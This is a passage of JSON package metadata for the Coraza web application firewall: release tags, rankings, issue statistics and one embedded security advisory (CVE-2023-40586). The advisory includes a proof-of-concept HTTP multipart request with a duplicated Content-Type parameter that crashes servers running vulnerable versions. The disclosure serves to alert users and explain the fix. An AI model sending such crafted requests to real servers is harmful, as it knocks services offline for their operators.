d23460d1ed83ddbf985f41e3c66e2265904aa","kind":"commit","published_at":"2024-12-31T08:31:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"aaf44136da61921caa2353bd391c1341f3e480e8","kind":"tag","published_at":"2024-06-23T13:49:11.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"7c91e8c2a5853fde66f8b4e3d8f0aee671445755","kind":"tag","published_at":"2024-06-20T09:47:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0/manifests"},{"name":"v3.1.0","sha":"bb55b68dede1db71c54b08102e126e89d0299478","kind":"commit","published_at":"2024-02-09T13:11:43.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0/manifests"},{"name":"v3.0.4","sha":"2468382c3cc58b6107874fe3e70f620f203d8cf5","kind":"commit","published_at":"2023-09-25T10:17:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4/manifests"},{"name":"v3.0.3","sha":"4f30afeca2b6cf48f8cd73acd80b072721172782","kind":"commit","published_at":"2023-08-06T07:49:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"0700bb01d4e656406a407b4944fd7d47483eda6d","kind":"commit","published_at":"2023-06-27T08:22:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"a5239ba3ce839e14d9b4f9486e1b4a403dcade8c","kind":"commit","published_at":"2023-06-25T16:16:26.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"ad50864cfa00f5143fff7f6877847326fdc4b394","kind":"commit","published_at":"2023-05-31T07:32:55.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0/manifests"},{"name":"v3.0.0-rc.3","sha":"721d1de4db5357d07308d07a1c2aea92085b27d4","kind":"tag","published_at":"2023-05-27T04:52:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3/manifests"},{"name":"v3.0.0-rc.2","sha":"6f11f53245d24d112f9b1ddb1aedccefe87be705","kind":"commit","published_at":"2023-04-12T16:49:20.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2/manifests"},{"name":"v3.0.0-rc.1","sha":"c134cac34f597501c11a95eb7d1fbd7f1a219977","kind":"tag","published_at":"2023-03-17T14:27:34.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1/manifests"},{"name":"v2.0.1","sha":"a1529abf4746ab3082eb40622fdbeed2a7777fcb","kind":"commit","published_at":"2022-07-25T14:33:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"fdad9f5e07fb0c061a55426627afbefcd2b5c657","kind":"commit","published_at":"2022-03-22T21:14:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0/manifests"},{"name":"v2.0.0-rc.3","sha":"62dd3db3f72543eaf407ea730d289265aa203fde","kind":"commit","published_at":"2022-03-10T18:21:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3/manifests"},{"name":"v2.0.0-rc.2","sha":"b57219cb5731604e02dadc5e2955bfbbcfe79e47","kind":"commit","published_at":"2022-02-11T15:02:33.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2/manifests"},{"name":"v2.0.0-rc.1","sha":"3631394d2249b89b792ae76ab4552a00459b31b6","kind":"commit","published_at":"2021-12-31T15:21:29.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1/manifests"},{"name":"v2.0.0-beta.6","sha":"364461e00d932a3070f777400a2a3b6053df3e9f","kind":"commit","published_at":"2021-12-11T18:07:37.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"09f241f5b86c23f151c893d2a17eab5bf45a7ce2","kind":"commit","published_at":"2021-12-10T18:58:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"24af0c8cf4f10bab558740b595712be3b85493ec","kind":"commit","published_at":"2021-12-06T21:49:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"49869b6ff2eaf486fc5e505dc6b521bbc69f3990","kind":"commit","published_at":"2021-12-01T20:33:16.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"4dd0ba7542b4bfa5eed6e5f7ac7620539b9e23cc","kind":"commit","published_at":"2021-11-26T15:14:46.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"89239d658eef764d955716aa143fa08262d3cae9","kind":"commit","published_at":"2021-11-19T15:49:08.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1/manifests"},{"name":"v2.0.0-alpha.1","sha":"43e047a61dd4677c56b08b51c781d7a038e20a41","kind":"commit","published_at":"2021-11-14T20:54:59.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-alpha.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1/manifests"},{"name":"v1.2.0","sha":"5059f5bb165be760b399bd14ee7f741566f66c0c","kind":"commit","published_at":"2021-09-10T15:35:38.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"f78c89b471bee5877d6439c5aaa98c15cd75db60","kind":"commit","published_at":"2021-09-06T21:19:44.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"083a4637e7a919004c86ca0a437ec1a1d8df4e76","kind":"commit","published_at":"2021-09-01T21:44:45.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0/manifests"},{"name":"v1.0.0-beta.7","sha":"fc2e9d7a37b1d9229e6bcd8aecfc36469680ca10","kind":"commit","published_at":"2021-08-27T00:24:32.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.7","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7/manifests"},{"name":"v1.0.0-beta.6","sha":"fc63d67c7b64ca33f46159daaf62554dd62af759","kind":"commit","published_at":"2021-08-25T21:17:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6/manifests"},{"name":"v1.0.0-beta.5","sha":"2b2b7061e26b7340c983e0b0f4a2c2ca22ba76ac","kind":"commit","published_at":"2021-08-23T00:03:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5/manifests"},{"name":"v1.0.0-beta.4","sha":"f77c1bd1dd48fa80936bc4d01f767debf330eebf","kind":"commit","published_at":"2021-08-21T06:06:04.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4/manifests"},{"name":"v1.0.0-beta.3","sha":"879cf8486d69f9f573cfd2c52783b4fbc97d8c79","kind":"commit","published_at":"2021-08-18T02:20:21.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3/manifests"},{"name":"v1.0.0-beta.2","sha":"e45ecda9e6d1038fe5470360427d71047cf81be1","kind":"commit","published_at":"2021-08-09T21:53:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2/manifests"},{"name":"v1.0.0-beta.1","sha":"6ce53c5bcdfa543d4c7477b6ff81fc70be808450","kind":"commit","published_at":"2021-07-29T01:40:56.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1/manifests"}]},"repo_metadata_updated_at":"2026-09-23T18:50:49.655Z","dependent_packages_count":21,"downloads":null,"downloads_period":null,"dependent_repos_count":6,"rankings":{"downloads":null,"dependent_repos_count":2.127505127955185,"dependent_packages_count":1.136726741556248,"stargazers_count":2.0317817833388294,"forks_count":2.408635289872055,"docker_downloads_count":null,"average":1.9261622356805794},"purl":"pkg:golang/github.com/corazawaf/coraza/v2","advisories":[{"uuid":"GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","url":"https://github.com/advisories/GHSA-c2pj-v37r-2p6h","title":"Coraza has potential denial of service vulnerability","description":"### Summary\n\nDue to the misuse of `log.Fatalf`, the application using coraza crashed after receiving crafted requests from attackers.\n\n### Details\n\nhttps://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29\nThe bodyprocessors of multipart uses `log.Fatalf` to handle errors from the `mime.ParseMediaType`, but `log.Fatalf` calls `os.Exit` directly after logging the error.\nhttps://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291\nThis means that the application will immediately crash after receiving a malicious request that triggers an error in `mime.ParseMediaType`.\n\n### PoC\n\nThe server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server\n\nAfter sending this request\n```\nPOST / HTTP/1.1\nHost: 127.0.0.1:8090\nUser-Agent: curl/8.1.2\nAccept: */*\nContent-Length: 199\nContent-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2\nConnection: close\n\n--------------------------5fa6351b877326a1\nContent-Disposition: form-data; name=\"file\"; filename=\"123\"\nContent-Type: application/octet-stream\n\n123\n\n--------------------------5fa6351b877326a1--\n\n```\nThe server will crash immediately. The `a=1; a=2` in `Content-Type` makes `mime: duplicate parameter name` error.\n\n### Impact\n\nI believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.\n\n### Mitigation\n\nThe error from `mime.ParseMediaType` should return directly.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-06-26T15:48:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-c2pj-v37r-2p6h","https://github.com/corazawaf/coraza-caddy/issues/48","https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec","https://github.com/corazawaf/coraza/commit/e1b119b83e12c64f0957e00e8cad45a1b5f012f8","https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29","https://github.com/corazawaf/coraza/releases/tag/v3.0.1","https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291","https://github.com/corazawaf/coraza/commit/a5239ba3ce839e14d9b4f9486e1b4a403dcade8c","https://nvd.nist.gov/vuln/detail/CVE-2023-40586","https://github.com/advisories/GHSA-c2pj-v37r-2p6h"],"source_kind":"github","identifiers":["GHSA-c2pj-v37r-2p6h","CVE-2023-40586"],"repository_url":"https://github.com/corazawaf/coraza","blast_radius":0.0,"created_at":"2023-06-28T00:04:02.189Z","updated_at":"2026-10-08T07:59:24.011Z","epss_percentage":0.00723,"epss_percentile":0.52552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.0.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv2"},{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/corazawaf/coraza/v2","docker_dependents_count":1,"docker_downloads_count":14,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/corazawaf/coraza/v2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/corazawaf/coraza/v2/dependencies","status":null,"funding_links":["https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","https://github.com/sponsors/OWASP"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-23T14:55:14.920Z","issues_count":186,"pull_requests_count":719,"avg_time_to_close_issue":5137980.572815534,"avg_time_to_close_pull_request":1188886.9137931035,"issues_closed_count":103,"pull_requests_closed_count":580,"pull_request_authors_count":57,"issue_authors_count":73,"avg_comments_per_issue":2.5806451612903225,"avg_comments_per_pull_request":1.5187760778859527,"merged_pull_requests_count":487,"bot_issues_count":10,"bot_pull_requests_count":303,"past_year_issues_count":28,"past_year_pull_requests_count":46,"past_year_avg_time_to_close_issue":1422673.6666666667,"past_year_avg_time_to_close_pull_request":794859.52,"past_year_issues_closed_count":15,"past_year_pull_requests_closed_count":25,"past_year_pull_request_authors_count":18,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":0.8928571428571429,"past_year_avg_comments_per_pull_request":3.3043478260869565,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":24,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/issues","maintainers":[{"login":"M4tteoP","count":97,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":79,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":72,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"},{"login":"fzipi","count":63,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"maliming","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maliming"}],"active_maintainers":[{"login":"fz